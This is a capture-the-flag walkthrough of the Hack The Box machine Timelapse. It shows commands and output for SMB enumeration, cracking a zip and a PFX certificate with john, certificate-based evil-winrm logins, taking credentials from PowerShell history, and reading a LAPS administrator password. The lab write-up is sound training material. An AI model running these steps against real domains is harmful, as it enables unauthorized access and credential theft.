Timelapse is a really nice introduction level active directory box. It starts by finding a set of keys used for authentication to the Windows host on an SMB share. I’ll crack the zip and the keys within, and use Evil-WinRM differently than I have shown before to authenticate to Timelapse using the keys. As the initial user, I’ll find creds in the PowerShell history file for the next user. That user can read from LAPS, the technology that helps to keep local administrator passwords safe and unique. With that read access, I’ll get the administrator password and use Evil-WinRM to get a shell.

Box Info

Name Timelapse Timelapse
Play on HackTheBox
Release Date 26 Mar 2022
Retire Date 20 Aug 2022
OS Windows Windows
Base Points Easy [20]
Rated Difficulty Rated difficulty for Timelapse
Radar Graph Radar chart for Timelapse
First Blood User 00:11:19jkr
First Blood Root 00:26:31snowscan
Creator ctrlzero



nmap finds 18 open TCP ports, which look like typical Windows ports:

oxdf@hacky$ nmap -p- --min-rate 10000
Starting Nmap 7.80 ( https://nmap.org ) at 2022-06-30 12:40 UTC
Nmap scan report for
Host is up (0.094s latency).
Not shown: 65517 filtered ports
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5986/tcp  open  wsmans
9389/tcp  open  adws
49667/tcp open  unknown
49673/tcp open  unknown
49674/tcp open  unknown
49696/tcp open  unknown
62656/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 13.51 seconds

oxdf@hacky$ nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49696,62656 -sCV
Starting Nmap 7.80 ( https://nmap.org ) at 2022-06-30 12:43 UTC
Nmap scan report for
Host is up (0.094s latency).

53/tcp    open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
88/tcp    open  kerberos-sec      Microsoft Windows Kerberos (server time: 2022-06-30 20:44:10Z)
135/tcp   open  msrpc             Microsoft Windows RPC
139/tcp   open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp   open  ldap              Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ldapssl?
3268/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
3269/tcp  open  globalcatLDAPssl?
5986/tcp  open  ssl/http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| ssl-cert: Subject: commonName=dc01.timelapse.htb
| Not valid before: 2021-10-25T14:05:29
|_Not valid after:  2022-10-25T14:25:29
|_ssl-date: 2022-06-30T20:47:10+00:00; +8h01m03s from scanner time.
| tls-alpn: 
|_  http/1.1
9389/tcp  open  mc-nmf            .NET Message Framing
49667/tcp open  msrpc             Microsoft Windows RPC
49673/tcp open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc             Microsoft Windows RPC
49696/tcp open  msrpc             Microsoft Windows RPC
62656/tcp open  msrpc             Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 8h01m02s, deviation: 0s, median: 8h01m02s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2022-06-30T20:46:33
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 305.43 seconds

This combination of ports (Kerberos + LDAP + DNS + SMB) suggest it is likely a domain controller. This is supported by the hostname identified at the bottom (DC01) and the name on the TLS cert on 5986 (dc01.timelapse.htb). LDAP scripts show a domain name of timelapse.htb as well. It’s a bit odd that no script data came back for SMB (445).

I’ll add a line to my local /etc/hosts file: timelapse.htb dc01.timelapse.htb

In HTB, I’ve regularly run into Windows Remoting / WinRM on TCP 5985. The TLS-wrapped version of that typically runs on TCP 5986, which is what is present here. I’ll be able to interact with it to get a shell if I can find a way to auth.

SMB - TCP 445

I’m not sure why nmap couldn’t get any details out of SMB, but crackmapexec does it with no issue:

oxdf@hacky$ crackmapexec smb dc01.timelapse.htb 
SMB         timelapse.htb   445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)

As always, with SMB, it pays off to try different tools. crackmapexec isn’t able to list any shares:

oxdf@hacky$ crackmapexec smb dc01.timelapse.htb --shares
SMB         timelapse.htb   445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
SMB         timelapse.htb   445    DC01             [-] Error enumerating shares: SMB SessionError: STATUS_USER_SESSION_DELETED(The remote user session has been deleted.)

But smbclient does (-L to list shares and -N for null authentication):

oxdf@hacky$ smbclient -L //dc01.timelapse.htb -N

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        Shares          Disk      
        SYSVOL          Disk      Logon server share 
SMB1 disabled -- no workgroup available

The three shares ending in $ are default shares on all Windows systems, and ADMIN$ and C$ require admin access, and IPC$ doesn’t offer much.

It turns out I can get this same behavior from crackmapexec using -u [any username] -p ''. It is important to have the password be an empty string, or it will fail:

oxdf@hacky$ crackmapexec smb dc01.timelapse.htb --shares -u 0xdf -p ''
SMB         timelapse.htb   445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
SMB         timelapse.htb   445    DC01             [+] timelapse.htb\0xdf: 
SMB         timelapse.htb   445    DC01             [+] Enumerated shares
SMB         timelapse.htb   445    DC01             Share           Permissions     Remark
SMB         timelapse.htb   445    DC01             -----           -----------     ------
SMB         timelapse.htb   445    DC01             ADMIN$                          Remote Admin
SMB         timelapse.htb   445    DC01             C$                              Default share
SMB         timelapse.htb   445    DC01             IPC$            READ            Remote IPC
SMB         timelapse.htb   445    DC01             NETLOGON                        Logon server share 
SMB         timelapse.htb   445    DC01             Shares          READ            
SMB         timelapse.htb   445    DC01             SYSVOL                          Logon server share 

NETLOGON and SYSVOL are standard for any domain controller (DC).

Since it’s custom (and the only one I can read according to CME), I’ll start with Shares:

oxdf@hacky$ smbclient -N //dc01.timelapse.htb/Shares
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Oct 25 15:39:15 2021
  ..                                  D        0  Mon Oct 25 15:39:15 2021
  Dev                                 D        0  Mon Oct 25 19:40:06 2021
  HelpDesk                            D        0  Mon Oct 25 15:48:42 2021

                6367231 blocks of size 4096. 2352908 blocks available

Dev has a single file, which I’ll grab:

smb: \dev\> ls
  .                                   D        0  Mon Oct 25 19:40:06 2021
  ..                                  D        0  Mon Oct 25 19:40:06 2021
  winrm_backup.zip                    A     2611  Mon Oct 25 15:46:42 2021

                6367231 blocks of size 4096. 2352908 blocks available
smb: \dev\> get winrm_backup.zip 
getting file \dev\winrm_backup.zip of size 2611 as winrm_backup.zip (6.3 KiloBytes/sec) (average 6.3 KiloBytes/sec)

HelpDesk has a few files, all about LAPS:

smb: \helpdesk\> ls
  .                                   D        0  Mon Oct 25 15:48:42 2021
  ..                                  D        0  Mon Oct 25 15:48:42 2021
  LAPS.x64.msi                        A  1118208  Mon Oct 25 14:57:50 2021
  LAPS_Datasheet.docx                 A   104422  Mon Oct 25 14:57:46 2021
  LAPS_OperationsGuide.docx           A   641378  Mon Oct 25 14:57:40 2021
  LAPS_TechnicalSpecification.docx      A    72683  Mon Oct 25 14:57:44 2021

                6367231 blocks of size 4096. 2352908 blocks available

Local Administrator Password Solution (LAPS) is a method of managing the passwords for the local administrator accounts via the domain. Without laps, it’s very challenging for a support team to manage keeping unique local admin passwords for each system. This leads to shared credentials, which means that when an attacker gets elevated privileges on a system, they can dump the shared cred and use it to get access on other systems.

LAPS also rotates administrator passwords, changing them periodically, such that if they are captured by an attacker, they become invalid after some period of time.

Shell as legacyy

Access winrm_backup.zip


The zip archive from SMB has a single file:

oxdf@hacky$ unzip -l winrm_backup.zip 
Archive:  winrm_backup.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
     2555  2021-10-25 14:21   legacyy_dev_auth.pfx
---------                     -------
     2555                     1 file

Based on the name, it seems to contain authentication, either for a user named dev or legacyy. A .pfx file typically represents the PKCS#12 format, containing both a public and private key for a user. Given the archive name and this file type, it seems likely that if I can get access to this file, I’ll be able to get a shell over WinRM on Timelapse.

Crack Zip Password

Trying to open the downloaded archive requires a password:

oxdf@hacky$ unzip winrm_backup.zip 
Archive:  winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password: 

I’ll use zip2john to generate a hash that can be brute forced:

oxdf@hacky$ zip2john winrm_backup.zip 
ver 2.0 efh 5455 efh 7875 winrm_backup.zip/legacyy_dev_auth.pfx PKZIP Encr: TS_chk, cmplen=2405, decmplen=2555, crc=12EC5683 ts=72AA cs=72aa type=8
oxdf@hacky$ zip2john winrm_backup.zip > winrm_backup.zip.hash
ver 2.0 efh 5455 efh 7875 winrm_backup.zip/legacyy_dev_auth.pfx PKZIP Encr: TS_chk, cmplen=2405, decmplen=2555, crc=12EC5683 ts=72AA cs=72aa type=8

The hash format doesn’t match anything on the Hashcat list of example hashes, as hashcat actually can’t brute this kind of hash.

I’ll use john:

oxdf@hacky$ john  --wordlist=/usr/share/wordlists/rockyou.txt winrm_backup.zip.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
supremelegacy    (winrm_backup.zip/legacyy_dev_auth.pfx)     
1g 0:00:00:00 DONE (2022-06-30 17:21) 3.703g/s 12864Kp/s 12864Kc/s 12864KC/s surken201..superkaushal2
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

It cracks it instantly (even in a VM) to “supremelegacy”. It works to unzip:

oxdf@hacky$ unzip -P supremelegacy winrm_backup.zip 
Archive:  winrm_backup.zip
  inflating: legacyy_dev_auth.pfx 

Obtain Keys

Crack pfx Password

This post shows the openssl commands to extract the private key and certificate (public key) from a .pfx file. Unfortunately, this one requires a password:

oxdf@hacky$ openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out legacyy_dev_auth.key
Enter Import Password:

pfx2john.py will generate a hash for it (piped into tee to both save it to a file and examine the output):

oxdf@hacky$ pfx2john.py legacyy_dev_auth.pfx | tee legacyy_dev_auth.pfx.hash

This time it takes john about half a minute to find the password “thuglegacy”:

oxdf@hacky$ john --wordlist=/usr/share/wordlists/rockyou.txt legacyy_dev_auth.pfx.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
thuglegacy       (legacyy_dev_auth.pfx)     
1g 0:00:00:24 DONE (2022-06-30 17:29) 0.04115g/s 132993p/s 132993c/s 132993C/s thuglife03282006..thscndsp1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Extract Keys

With the password, I can extract the key and certificate. When extracting the key, it asks for the password (I’ll provide “thuglegacy”), and then a password for the output .pem file (anything I want, must be at least four characters):

oxdf@hacky$ openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out legacyy_dev_auth.key-enc
Enter Import Password:
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:

I’ll decrypt the key using the password I set above so I don’t have to remember it:

oxdf@hacky$ openssl rsa -in legacyy_dev_auth.key-enc -out legacyy_dev_auth.key
Enter pass phrase for legacyy_dev_auth.key-enc:
writing RSA key

And dump the certificate:

oxdf@hacky$ openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out legacyy_dev_auth.crt
Enter Import Password:

Now both files exist:

oxdf@hacky$ ls legacyy_dev_auth.*
legacyy_dev_auth.crt  legacyy_dev_auth.key  legacyy_dev_auth.key-enc  legacyy_dev_auth.pfx  legacyy_dev_auth.pfx.hash


evil-winrm is the best tool for connecting to WinRM from a Linux host. Looking at the usage shows how I’ll use these keys to connect:

oxdf@hacky$ evil-winrm -h

Evil-WinRM shell v3.3

Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [--spn SPN_PREFIX] [-l]
    -S, --ssl                        Enable ssl
    -c, --pub-key PUBLIC_KEY_PATH    Local path to public key certificate
    -k, --priv-key PRIVATE_KEY_PATH  Local path to private key certificate
    -r, --realm DOMAIN               Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com }
    -s, --scripts PS_SCRIPTS_PATH    Powershell scripts local path
        --spn SPN_PREFIX             SPN prefix for Kerberos auth (default HTTP)
    -e, --executables EXES_PATH      C# executables local path
    -i, --ip IP                      Remote host IP or hostname. FQDN for Kerberos auth (required)
    -U, --url URL                    Remote url endpoint (default /wsman)
    -u, --user USER                  Username (required if not using kerberos)
    -p, --password PASS              Password
    -H, --hash HASH                  NTHash
    -P, --port PORT                  Remote host port (default 5985)
    -V, --version                    Show version
    -n, --no-colors                  Disable colors
    -N, --no-rpath-completion        Disable remote path completion
    -l, --log                        Log the WinRM session
    -h, --help                       Display this help message

I’ll use the following:

  • -S - Enable SSL, because I’m connecting to 5986;
  • -c legacyy_dev_auth.crt - provide the public key certificate
  • -k legacyy_dev_auth.key - provide the private key
  • -i timelapse.htb - host to connect to

It works to get a shell as legacyy:

oxdf@hacky$ evil-winrm -i timelapse.htb -S -k legacyy_dev_auth.key -c legacyy_dev_auth.crt

Evil-WinRM shell v3.4

Warning: SSL enabled

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\legacyy\Documents>

legaccy has user.txt:

*Evil-WinRM* PS C:\Users\legacyy\desktop> type user.txt

Shell as svc_deploy



There’s nothing too special about the legacyy user:

*Evil-WinRM* PS C:\Users\legacyy> net user legacyy
User name                    legacyy
Full Name                    Legacyy
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            10/23/2021 12:17:10 PM
Password expires             Never
Password changeable          10/24/2021 12:17:10 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   6/30/2022 6:52:32 PM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *Domain Users         *Development
The command completed successfully.

They are in the “Remote Management Users” group, but I know that because without that group I wouldn’t have been able to execute commands or get a shell over WinRM. The “Development” group could be interesting. I’ll keep an eye out for places that may allow legacyy to go.

No interesting privileges:

*Evil-WinRM* PS C:\Users\legacyy> whoami /priv


Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

PowerShell History

One place I always check on Windows hosts is the PowerShell history file. And it’s present here:

*Evil-WinRM* PS C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> ls

    Directory: C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         3/3/2022  11:46 PM            434 ConsoleHost_history.txt

If I didn’t think to check it manually, WinPEAS would also have showed it.

The file contains some history, including connecting to this host using the creds for the svc_deploy user:

*Evil-WinRM* PS C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> type ConsoleHost_history.txt
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *


I’ll reconnect with a new evil-winrm session and these creds:

oxdf@hacky$ evil-winrm -i timelapse.htb -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S

Evil-WinRM shell v3.4

Warning: SSL enabled

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc_deploy\Documents> 

Shell as root


No additional privileges as svc_deploy:

*Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami /priv


Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

There is a really interesting group:

*Evil-WinRM* PS C:\Users\svc_deploy\Documents> net user svc_deploy
User name                    svc_deploy
Full Name                    svc_deploy
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            10/25/2021 12:12:37 PM
Password expires             Never
Password changeable          10/26/2021 12:12:37 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   10/25/2021 12:25:53 PM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *LAPS_Readers         *Domain Users
The command completed successfully.

LAPS_Readers seems to imply svc_deploy has access to read from LAPS.



With LAPS, the DC manages the local administrator passwords for computers on the domain. It is common to create a group of users and give them permissions to read these passwords, allowing the trusted administrators access to all the local admin passwords.

I showed this before on the Insane box, PivotAPI. It’s always fun when steps from more difficult boxes make their way into easier-rated boxes.

Read Password

To read the LAPS password, I just need to use Get-ADComputer and specifically request the ms-mcs-admpwd property:

*Evil-WinRM* PS C:\Users\svc_deploy\Documents> Get-ADComputer DC01 -property 'ms-mcs-admpwd'

DistinguishedName : CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb
DNSHostName       : dc01.timelapse.htb
Enabled           : True
ms-mcs-admpwd     : uM[3va(s870g6Y]9i]6tMu{j
Name              : DC01
ObjectClass       : computer
ObjectGUID        : 6e10b102-6936-41aa-bb98-bed624c9b98f
SamAccountName    : DC01$
SID               : S-1-5-21-671920749-559770252-3318990721-1000
UserPrincipalName :

The local administrator password for this box is “uM[3va(s870g6Y]9i]6tMu{j”.


I’ll connect with evil-winrm:

oxdf@hacky$ evil-winrm -i timelapse.htb -S -u administrator -p 'uM[3va(s870g6Y]9i]6tMu{j'

Evil-WinRM shell v3.4

Warning: SSL enabled

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents>


Find It

The root.txt file is missing from C:\Users\Administrator\Desktop:

*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls
*Evil-WinRM* PS C:\Users\Administrator\Desktop>

There’s another user on the box, TRX:

*Evil-WinRM* PS C:\Users> ls

    Directory: C:\Users

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       10/23/2021  11:27 AM                Administrator
d-----       10/25/2021   8:22 AM                legacyy
d-r---       10/23/2021  11:27 AM                Public
d-----       10/25/2021  12:23 PM                svc_deploy
d-----        2/23/2022   5:45 PM                TRX

TRX is in the “Domain Admins” group. I’ll check there and find it:

*Evil-WinRM* PS C:\Users\TRX\Desktop> ls

    Directory: C:\Users\TRX\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        6/19/2022  10:15 PM             34 root.txt

*Evil-WinRM* PS C:\Users\TRX\Desktop> type root.txt


HackTheBox has a system in place to prevent cheating referred to as flag rotation. Each time a VM is powered on, the system generates random flags, and sets the contents of user.txt and root.txt, storing those values associated with that instance in the database. Then when I go to submit my flag, it know what lab / machine I’m associated with, and checks if it’s correct.

The system needs to know the password for an administrative user on the box. For systems where LAPS is in use, that’s not possible (as it changes the password periodically). The work around here is to add another user that the system can use for administrative access with a static password. This user exists only to enable flag rotation.